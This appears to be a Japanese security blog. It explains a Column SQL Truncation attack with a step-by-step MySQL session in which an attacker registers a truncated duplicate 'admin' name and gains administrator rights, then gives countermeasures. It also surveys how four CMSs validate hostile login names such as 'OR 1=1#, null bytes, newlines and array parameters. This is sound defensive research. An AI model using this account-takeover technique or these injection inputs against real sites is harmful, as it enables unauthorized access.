さて、パスワードを知っているべきでない人間がパスワードを知っている状況は、サーバー管理者の異動だけではありません。外部の攻撃者が何らかの方法、たとえばサーバー管理者のパソコンにウイルスを感染させることにより、パスワードを盗み出す状況(いわゆるガンブラーや標的型攻撃)や、攻撃者が管理者にフィッシング攻撃をしかける状況(事例)も考えられます。この場合、攻撃者がなんらかの理由でパスワード入手後すぐには悪用せず、しばらくたってから攻撃する場合、パスワードの定期的変更により被害にあわない可能性があります。とはいえ、「攻撃者はパスワード入手後しばらくたってから悪用する」ことをあてにするわけにはいかないので、パスワードの定期的変更は、副次的な対策と言えます。

それでは、サーバーの認証突破に対する備えは何をすればよいでしょうか。それには、以下が有効です。
  • 外部(インターネット)からは管理用ソフトウェア(ssh、管理コンソール)に接続できないようにファイアウォール等を設定する
  • 鍵認証等、強固な認証方式を導入する
  • 二段階認証を導入する
  • 管理者のIDとパスワードを共用せず、個別のIDとパスワードを設定する
  • 管理者の異動の際は遅滞なくIDを無効化するか、パスワードを変更する
ウイルス対策ソフトの導入とパスワードの定期的変更は、もっとも有名なセキュリティ対策ではありますが、ウェブサイトの侵入対策という面では効果は限定的であり、すみやかなパッチ適用と認証の強化が重要です。そして、追加のセキュリティ対策としては、WAFや改ざん検知システムの導入を検討するとよいでしょう。

【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年6月11日木曜日

Column SQL Truncation脆弱性にご用心

前回のブログ記事「CMS四天王のバリデーション状況を調査したところ意外な結果になった」にて、JoomlaとMovableTypeは長大なログイン名を登録することにより、ログイン名の重複が起こり得ることを指摘したところ、facebookの私のウォールにて、Column SQL Truncation脆弱性の話題になりました。Column SQL Truncationは、2008年にWordPressの脆弱性として報告されたことがあります(参照参照)。
本稿では、簡単なログイン機能のSQL呼び出し例を用いてColumn SQL Truncationを説明したいと思います。

認証用テーブル定義の説明

認証に用いる会員テーブルを下記とします。ご覧のように、ログイン名を示す列 username には一意制約がありません。(追記)一意制約はふつうあるだろと思われるでしょうが、CMS四天王の中で一意制約がついているのはDrupalのみで、WordPress、Joomla、MovableTypeには一意制約がついていません。(追記終わり)
CREATE TABLE users (
  id int NOT NULL AUTO_INCREMENT,   /* 内部ID */
  username varchar(8) NOT NULL,     /* ログイン名 */
  password varchar(64) NOT NULL,    /* パスワードのSHA-1ハッシュ値 */
  super boolean NOT NULL,           /* 管理者フラグ */
  PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;
まず、管理者 admin を登録しておきます。
mysql> INSERT INTO users VALUES(NULL, 'admin', SHA1('ax8z!hz6'), true);
Query OK, 1 row affected (0.00 sec)
これで準備が出来ましたので、以下攻撃者の視点で攻撃に用いるSQLの呼び出しを見ていきましょう。

攻撃者が会員登録を行う

次に、攻撃者がセルフサービスの会員登録機能を用いて、'admin   x' (空白は3個)というログイン名を登録します。以下に示すのはmysqlコマンドにより、アプリケーション内部のSQL呼び出しを再現するものです(攻撃者が操作するのはあくまでWebアプリケーションです)。
mysql> SET autocommit=0;            # オートコミットをOFFに
mysql> LOCK TABLES users WRITE;     # 簡単のためテーブルロックを用いて排他制御

mysql> SELECT * FROM users WHERE username='admin   x';  # 'admin   x'は既存ユーザか?
Empty set (0.00 sec)                                    # Empty すなわち既存ではない
                                                        # 以下、会員登録する
mysql> INSERT INTO users VALUES(NULL, 'admin   x', SHA1('123456'), false);
Query OK, 1 row affected, 1 warning (0.00 sec)      # 登録成功 警告は usernameの切り詰め

mysql> SELECT id, username, hex(username), super FROM users;
+----+----------+------------------+-------+
| id | username | hex(username)    | super |
+----+----------+------------------+-------+
|  1 | admin    | 61646D696E       |     1 |
|  2 | admin    | 61646D696E202020 |     0 |← 'admin   'が登録されている
+----+----------+------------------+-------+
2 rows in set (0.00 sec)

mysql> COMMIT;
mysql> UNLOCK TABLES;
以上のように、既存ユーザのチェック時点では 'admin   x'はテーブル上に存在しないため重複チェックをすりぬけますが、テーブルにINSERTした時点で 8文字に切り詰められるので、'admin   ' (adminの後に空白3個)が会員として登録されます。

攻撃者が admin でログインする

次に攻撃者は ID: admin / パスワード: 123456 でログインします。
mysql> SELECT * FROM users WHERE username='admin' and password=sha1('123456');
+----+----------+------------------------------------------+-------+
| id | username | password                                 | super |
+----+----------+------------------------------------------+-------+
|  2 | admin    | 7c4a8d09ca3762af61e59520943dc26494f8941b |     0 |
+----+----------+------------------------------------------+-------+
1 row in set (0.00 sec)
なんと、ログインできてしまいます。これができる理由は、MySQLは基本的に文字列末尾のスペースを比較時に無視するからです。
MySQL のすべての照合順序は、PADSPACE 型のものです。これは、MySQL 内のすべての CHAR、VARCHAR、および TEXT 値が、末尾のスペースに関係なく比較されることを意味します。
MySQL :: MySQL 5.6 リファレンスマニュアル :: 11.4.1 CHAR および VARCHAR 型より引用
しかし、この段階では、superフラグは 0 (false)になっています。

adminでログインした状態で権限を確認する

ログインした後は通常ログイン済みのログイン名をセッション変数に記憶しておく形でログイン状態を保持します。そして、権限が必要になる都度データベースに問い合わせると想定します。以下のSQL文を用います。
mysql> SELECT id, username, hex(username), super FROM users WHERE username='admin';
+----+----------+------------------+-------+
| id | username | hex(username)    | super |
+----+----------+------------------+-------+
|  1 | admin    | 61646D696E       |     1 | ← こちらの権限が使用される
|  2 | admin    | 61646D696E202020 |     0 |
+----+----------+------------------+-------+
2 rows in set (0.00 sec)
idとusernameは処理の上では必要ありませんが、説明のために追加しています。上記のように、adminに対する権限(super)は1と0が返りますが、最初にヒットした 1(true) が使われます。すなわち、攻撃者は管理者の権限を得ることに成功しました。

脆弱性の原因

脆弱性の原因は、元々ユニークであることを想定していたusername列に、同一とみなされる名前が登録されることにあります。その原因は、列の最大長を超える文字列をINSERTする際に、文字列が切り詰められ、インサート後の文字列がチェックの時とは別の文字列に変わることにあります。

Column SQL Truncationの対策

Column SQL Truncationの対策は、文字列の切り詰めが発生しないようにするか、文字列の切り詰めが発生しても列のユニーク性が保証される方法をとることで、具体的には以下の方法があります。
  • usernameの最大長をバリデーションにより確認し、列の最大長を超えていたら処理を中止する
  • MySQLの採用をやめ、切り詰めが発生しないPostgreSQL、Oracle、MS SQL Server等を使用する
  • MySQLのsql_modeをstrictモードにする(追記)
  • username列に一意制約を指定する
いずれか一つの方法で対策になりますが、できれば最大長のバリデーションと一意制約の両方の実施を推奨します。
(* 以下追記 *)
また、MySQLを使う場合でも、sql_modeにSTRICT_TRANS_TABLES等を指定する方法でも、列長を超えたINSERTをエラーにすることができます。MySQL5.6からこれがデフォルトになったとのことですが、私がテストに使用したUbuntu15.04ではMySQL5.6.24なのにstrictモードになっていなかったので、Linuxディストリビューションによる違いがあるかもしれません。
ネットを検索すると、このデフォルト設定変更によりMySQL5.6でアプリが動かなくなったという報告を見かけるので、strictな方が安全であることは間違いありませんが、設定変更にあたってはテストを入念した方が良いと思われます。
(* 追記終わり *)

まとめ

Column SQL Truncation脆弱性について説明しました。
前回のエントリで私は、「バリデーションの目的は、予期しない入力値によりデータベースの不整合その他の不具合を予防することにある」と書きました。そして、データベースの不整合を悪用してなりすましログインをする手法がColumn SQL Truncation攻撃であると言えます。

これを防ぐ方法の一つとして、バリデーションはデータベースの不整合の発生が起きにくくする効果があり、結果としてセキュリティ上も有効です。それと同じように、一意性が要求されるデータベースカラムに一意制約を指定することも、データベースの不整合を起きにくくする効果があり、結果としてセキュリティ上の効果もあります。

このように、バグの発生を防ぐためのプログラミング上の様々な施策には、一般的にセキュリティを高める効果があります。なんといっても脆弱性はバグの一種ですからね。だからと言って、「一意制約の指定はセキュリティ対策です」と言われると、違和感を持つ人が多いのではないでしょうか。私が「バリデーションはセキュリティ対策である」という言葉に違和感があるのも同じ理由です。

蛇足

私は拙著P347に以下のように書きました。
◆ 事例2:ユーザIDに一意制約をつけられないサイト
 筆者が脆弱性診断を担当したサイトで、特殊な操作により同一のユーザIDで複数のアカウントが作成できることが分かりました。サイト管理者に「テーブル定義でユーザIDの列に一意制約(UNIQUE)をつけた方がいいですよ」とアドバイスしましたが、ユーザの削除を論理削除(データベース上で削除フラグをつけて「消したことにする」こと)にしているので、一意制約はつけられないとのことでした。
 このようなサイトは他にもあると思われますが、アプリケーションのバグ(排他制御不備など)により、重複したユーザIDが登録される潜在的なリスクが残ります
 事例1のように同一ユーザIDで別のアカウントが作成できると、誤って別ユーザとしてログインする可能性があります。データベース上でユーザIDを保存する列には、データベースの一意制約をつけることが望ましいでしょう。それができない場合、アプリケーション側でユーザIDの重複を防ぐ必要がありますが、その際は排他制御などに細心の注意を払ってユーザIDが重複しないように実装する必要があります。
Column SQL Truncationは、まさにログイン名の重複を意図的に作り出すという、データベースの不整合の悪用によるなりすまし手法と言えます。


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年6月9日火曜日

CMS四天王のバリデーション状況を調査したところ意外な結果になった

私がいまさら指摘するまでもなく、グローバル(日本以外の多く)では脆弱性対策としてバリデーションが極めて重視されています。一々参照や引用はしませんが、海外の多くの標準において、バリデーションが重要なセキュリティ施策として指摘されています。Webアプリケーションにおいてバリデーション(以下バリデーションとはアプリケーションの最初の段階で行われる入力値検証、いわゆるフォームバリデーションを指します)が重要であることは私も同意しますが、それが「セキュリティ対策」なのかという点に疑問を持ち、例えば以下のようなプレゼンをしたことがあります。
もう一つの疑問として、「バリデーションは重要なセキュリティ対策である」という考え方が、開発の現場でどのように受け入れられているのだろうかと考え、グローバルに広く使われているアプリケーションにおいて、バリデーションがどのように実装されているかを調査したいと思い立ちました。

そこで、表題のように、主要なCMS4種類(CMS四天王と称します)について、バリデーションの現状を調査しました。ちなみに、CMS四天王とは下記を指します。私の勝手な選択ですので異論は認めますが本稿では以下を四天王の定義とします。
  • WordPress (Ver 4.2.2にて調査)
  • Joomla (Ver 3.4.1 にて調査)
  • Drupal (Ver 7.3.7 にて調査)
  • MovableType (Ver 6.1.1 にて調査)
CMSを題材に選んだ理由は下記のとおりです。
  • もっとも広く使われているウェブアプリケーションの一つである。
  • セキュリティがそれなりに要求される(Drupalはホワイトハウスのサイトに利用されているし…)
  • 過去頻繁に狙われている実績があり、セキュリティ強化が求められている
これらCMSのログイン名について、ユーザ登録時とログイン時で、どのようにバリデーションされているかを調べました。ログイン名について調査した理由は以下の通りです。
  • ログイン機能はセキュリティ上重要な機能である
  • ログイン名は文字種や文字列長等の仕様が明確であるという期待
  • どのCMSにも必ず存在する
調べた内容を書いたところ長文になってしまいましたので、まず特徴的なトピックと、まとめ、結論を書いてから、個別の調査結果を記載するようにします。

ログインIDとして使用できる文字種、文字列長、文字エンコーディング

まずはログイン名の文字種・文字列長等の仕様ですが、意外に明確な定義が見当たらないので、以下はDBの仕様や、実際に動かしてみて調べた結果です。以下はドキュメントやソースコードではなく実際の動作を元に調査しているので、漏れなどがある可能性はあります。

ソフトウェア文字種文字列長
WordPress英数字、空白、- _ @ . 60
Joomla< > \ " ' % ; ( ) &以外の文字150
Drupal記号以外の文字。ただし - ' _ @ はOK60
MovableType< > 以外の文字(制御文字もOK)255

バリデーションでSQLインジェクション攻撃をブロックしないCMSが多い

ログインIDにおける典型的なSQLインジェクション攻撃として、'OR 1=1# をバリデーションがブロックするかどうかを確認しました。ログインIDとして許容される文字を見る限り、WordPress、Joomla、Drupalはブロックしそうですが、結果は下記の通りです。
  • WordPress: ブロックしない
  • Joomla: ブロックする
  • Drupal: ブロックしない
  • MovableType: ブロックしない
ということで、意外なことに、バリデーションでSQLインジェクション攻撃を止めるのはJoomlaのみという結果でした。

ログインIDにヌルバイトや改行が使えるCMSがある

テストをしていてもっともびっくりしたことの一つがこれです。JoomlaとMovableTypeはヌルバイトや改行など制御文字がログインIDとして使えてしまいます。
Joomlaの場合、ユーザが自ら登録する場合制御文字は使えず、管理者が登録する場合のみです。そして、ログイン処理では制御文字はフィルタリングされるので、「登録はできるがログインはできない」ユーザができてしまうことになります。これはまずいですね。
一方、MovalbeTypeは制御文字入りのログインIDが登録、ログインともできます。なんと、首尾一貫していますね。私はMovableTypeに惚れそうになりましたw

100万文字のログインIDを登録しようとしたらどうなるか

バリデーションでは長さのチェックが重要とされますが、敢えて100万文字のユーザIDを登録してみました。その結果、JoomlaとMovableTypeは登録が出来ました…といっても、データベースの制限があるので、実際に登録されたのはJoomlaの場合先頭150文字、MovableTypeの場合先頭255文字です。
これに関連して微妙なバグを発見しました。どのCMSもログインIDの重複を許していないのですが、長いログインIDを用いてログインIDの重複が起こる場合があります。以下、説明を簡単にするためにログインIDの列定義がvarchar(10)だとして説明します。

既に 1234567890 という10文字のログイン名が登録されているところに、12345678901 という11文字のログイン名を登録する場合で考えます。SELECT * FROM users WHERE name='12345678901'とい重複チェックが走りますが、これはヒットなしで終わります。次に、INSERT INTO users VALUES ('12345678901', ...) というSQL文で登録処理が走りますが、このSQL文は成功するものの、ログインIDの列が10文字までしか入らないので、登録される文字列は 1234567890 になります。結果、1234567890 というログイン名が二重に登録されます。
実際には、ログイン名の最大長がそれぞれ150文字、255文字と大きいため、現実に問題になるケースはほとんどないと予想します。

100万文字のログイン名でログインしてみる

次に100万文字のログイン名でのログイン処理です。いずれのCMSもログイン名は有限長で最大255文字ですが、実際にやってみると、ログイン名がそのままSQL文として流れていることがクエリログから確認できました。
ログイン時には、どのCMSもログイン名の長さチェックはやっていないことになります。

まとめ

主要なCMS(CMS四天王)がログインIDをどのようにバリデーションするかについて調べました。ログインIDは、典型的には8文字英数字などであり、厳格なバリデーションがしやすい印象がありますが、主要CMSは意外にも登録・ログインともにあまり厳格なバリデーションはしていないことがわかりました。

SQLインジェクション攻撃をバリデーションで弾いていない点については、私は問題だとは思いません。SQLインジェクション攻撃がバリデーションで止まるか否かは、入力値の仕様に依存するので、バリデーションに依存するのではなく、プレースホルダの使用等で根本的に解決することが重要です。今回はたまたまバリデーションでは防げないケースだったということです。

一方、以下の2点は重大な問題だと考えます。
  • Joomlaでは制御文字入りのログインIDが登録できるが、そのIDでログインはできない
  • JoomlaとMovableTypeでは長いログインIDにより、ログインIDの重複が起こり得る
アプリケーションが想定していない入力を受け付けたことにより、データベース等の不整合が起こったことになります。私、バリデーションの本来の目的は、このような不整合を防ぎ、潜在的なバグを減らすことにあると考えます。

ということで、私の結論は以下の通りです。
  • CMS四天王はバリデーションを厳格にしていない
  • その結果、微妙なバグが混入する原因になっている
  • アプリケーションにおいてバリデーションは重要でありサボらずに実装したい
  • バリデーションの目的は、予期しない入力値によりデータベースの不整合その他の不具合を予防することにある


以下は、調査結果のサマリですので、興味のある方はお読みください。

1. シングルクォート

ログインIDとしてシングルクォートを含む文字列を指定した場合の挙動を調べました。シングルクォートは御存知の通りSQLインジェクション脆弱性と関連の深い文字です。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
JoomlaSave failed with the following error: Please enter a valid username.…
Drupal登録可能
MovableType登録可能
ログイン時
WordPressバリデーションは通過するが当該ユーザがないのでログイン失敗(*1)
Joomlaシングルクォートを除去した後ログイン処理
Drupalログイン可能
MovableTypeログイン可能


ご覧のように、WordPressとJoomlaはシングルクォートをログイン名として認めていませんが、DrupalとMovableTypeは認めています。ログイン時については、Joomlaがシングルクォートを除去する(一種のサニタイズ)のに対して、Joomla以外のソフトウェアはシングルクォートをバリデーションでは弾いていません。
ただし、WordPressのログイン処理で生成されるSQL文は下記の通りで、記号が二重にエスケープされています。これは潜在的なバグではないかと想像します。
SELECT * FROM wp_users WHERE user_login = 'O\\\'Reilly'

2. タグ文字

< や > がログイン名に含まれる場合の挙動を調べました。どのCMSも < と > をログイン名として許していませんが、Joomlaのみはユーザ登録時にサニタイズによりタグを取り除くという処理が入っています。
ログイン時の処理は、WordPressとJoomlaはタグのサニタイズ、DrupalとMovableTypeはバリデーションは通過したあと該当ユーザなしという結果になります。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
Joomlaタグをサニタイズした後登録される(<s>xss</s> は xss として登録)
DrupalThe username contains an illegal character.
MovableTypeユーザー名には不正な文字が含まれています: < 
ログイン時
WordPressタグをサニタイズした後ログイン処理される(<s>xss</s> は xss としてログイン)
Joomla< > をサニタイズした後ログイン処理される(<s>xss</s> は sxss/s としてログイン)
Drupalバリデーションは通過し、ユーザが存在しないのでログインはできない
MovableTypeバリデーションは通過し、ユーザが存在しないのでログインはできない


3.バックスラッシュ

バックスラッシュはMySQL等のSQLインジェクションやJavaScriptが絡むXSSに関連します。また、evalインジェクション等にも関連します。
MovableTypeのみがログイン名としてバックスラッシュを認めています。
興味深いことに、ログイン時はいずれのCMSもバリデーションを通していて、脆弱性対処としてバリデーションをあてにしていない様子が伺えます。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
JoomlaSave failed with the following error: Please enter a valid username.
DrupalThe username contains an illegal character.
MovableType正常に登録される
ログイン時
WordPressバリデーションは通過するが当該ユーザがないのでログイン失敗(*1)
Joomlaバリデーションは通過するが当該ユーザがないのでログイン失敗
Drupalバリデーションは通過するが当該ユーザがないのでログイン失敗
MovableType正常にログインできる

4.長大な文字列

長大なログイン名を指定した場合にどうなるかを調べました。具体的には、1,048,577文字(1メガバイト+1文字)のログイン名を登録、あるいはログインしてみました。
結果、WordPressは「新規ユーザーを作成しました」と表示されるものの、実際には作成されません。JoomlaとMovableTypeは正常に登録され、100万文字を超える長大なSQL文が流れるので中々壮観ですが、ログイン名はカラムの最大長で切り詰められます。
ログイン時には、いずれもCMSもバリデーションを通過するため、やはり100万文字を超える長大なSQL文が流れ、このテストをしているとログファイルがすぐに膨れ上がりますw

ユーザ登録時
WordPress新規ユーザーを作成しました。(実際には作成されない)
Joomla登録されるが、150文字で切られる(MySQL側で切られる)
Drupalバリデーションの結果 Username cannot be longer than 60 characters
MovableType登録されるが、255文字で切られる(MySQL側で切られる)
ログイン時
WordPressバリデーションを通過し長大なSQL文が生成されるがログイン失敗
Joomlaバリデーションを通過し長大なSQL文が生成されるがログイン失敗
Drupalバリデーションを通過し長大なSQL文が生成されるがログイン失敗
MovableTypeバリデーションを通過し長大なSQL文が生成されるがログイン失敗

前述のように、JoomlaとMovableTypeでは、長大なログイン名が途中でカットされることから、同一のログイン名が多重に登録できてしまう問題があります。


5.不正な文字エンコーディング

UTF-8として不正な文字エンコーディングを含む文字列がどうなるかというテストです。具体的には、abc%E0 という文字列を用いました。登録時にバリデーションで弾いているのは、WordPressとMovableTypeで、これは正しい処理内容だと思います。
JoomlaとDrupalはバリデーションは通過してしまい、Joomlaは不正な文字(%E0)がMySQL側で除去され、DrupalはPDOの例外が発生します。JoomlaとDrupalは、ログイン時にもバリデーションで不正な文字エンコーディングを弾いていません。
ログイン時、MySQLの発行するSQL文を観察すると、%E0が a にサニタイズされています。これはなんだろうと思ったのですが、Latin-1の%E0は à という文字ですので、それをASCIIに変換して a になった、というところでしょうか。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
Joomlaバリデーションを通過するが、MySQL側で不正な文字が除去される
Drupalバリデーションは通過するがPDOの例外が発生する
MovableType不正な要求です。文字コードutf-8に含まれない文字データを送信しています。
ログイン時
WordPress%E0がaにサニタイズされた後ログイン処理
Joomlaバリデーションは通過するが当該ユーザがないのでログイン失敗
Drupalバリデーションは通過するが当該ユーザがないのでログイン失敗
MovableType不正な要求です。文字コードutf-8に含まれない文字データを送信しています。

6.ヌルバイト

ヌルバイト(%00)はヌルバイト攻撃という形で攻撃に悪用される場合があります。
Joomlaは管理画面からユーザ登録する場合はヌルバイトを含むログインIDを許容しています。一方、セルフサービスで登録する場合はヌルバイトが除去されます。この違いの理由はよくわかりません。MovableTypeは常にヌルバイトを含むログインIDを許容しているようでびっくりしました。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
Joomlaヌルバイトを含むユーザ名が登録される / ヌルバイトが除去される
Drupalバリデーションの結果 The username contains an illegal character.
MovableTypeヌルバイトを含むユーザ名が登録される
ログイン時
WordPressバリデーションは通過するが当該ユーザがないのでログイン失敗(*1)
Joomlaヌルバイトが除去されログイン処理は継続
Drupalバリデーションは通過するが当該ユーザがないのでログイン失敗
MovableType正常にログインできる

7.改行

改行(%0D, %0A)はメールヘッダインジェクションやHTTPヘッダインジェクションの攻撃に使われます。当然バリデーションできっぱり弾かれると思いきや、WordPressでの登録処理以外は、バリデーションで改行を弾いていません。下表にあるとおり、改行をサニタイズで取り除く例も多いのですが、MovableTypeは改行を含むログインIDの登録を許容し、改行入りのログインIDでログインもできてしまいます。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
Joomla改行を含むユーザ名が登録される / 改行が除去される
Drupal改行が除去されて登録
MovableType改行を含むユーザ名が登録される
ログイン時
WordPress改行が空白にサニタイズされた後ログイン処理
Joomla改行が除去されログイン処理は継続
Drupal改行が除去されログイン処理は継続
MovableType正常にログインできる

8.配列

通常ログインIDは name=admin 等の形でWebアプリに渡されますが、name[0]=alice&name[1]=bob 等の形にすると、文字列ではなく配列の形でアプリに渡されます。
注目は Joomla でして、セルフサービスのユーザ登録時とログイン処理において、配列形式でログイン名を渡すと、ログイン名が Array と指定されたことになります。


ユーザ登録時
WordPressエラー: ユーザー名を入力してください。
エラー: このユーザー名は使用できない文字を含んでいるため、無効です…
JoomlaSave failed with the following error: / Array というユーザ名
DrupalUsername field is required.
MovableTypeユーザー名は必須です。 
ログイン時
WordPressエラー: ユーザー名を入力してください。
JoomlaArrayというユーザ名でログイン処理
DrupalUsername field is required.
MovableTypeサインインできませんでした。


Drupalは 7.35まではバリデーションとして配列のチェックをしていませんでしたが、7.36以降でテキスト文字列を受け取る文脈では入力が配列でないことのチェックが入るようになりました(参照)。
Drupal7.35でユーザ名として配列を与えると以下の例外が発生します。これはDrupageddon脆弱性と関連します(参照)。

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'bob' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => alice [:name_1] => bob ) in user_login_authenticate_validate() (line 2154 of /var/www/drupal735/modules/user/user.module).

私は自分のブログ記事で以下のように書きました。
Drupalは必要最小限のバリデーションのみをしているように見えますが、クエリ文字列が(配列ではなくスカラの)文字列であることのチェックくらいはした方がよいと思います。これはアプリケーション要件として必要なチェックだと考えます。
Drupal 7.36での修正は、まさにこの修正であり、結果として私の忠告を聞いて下さり良い気分ですw

【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


フォロワー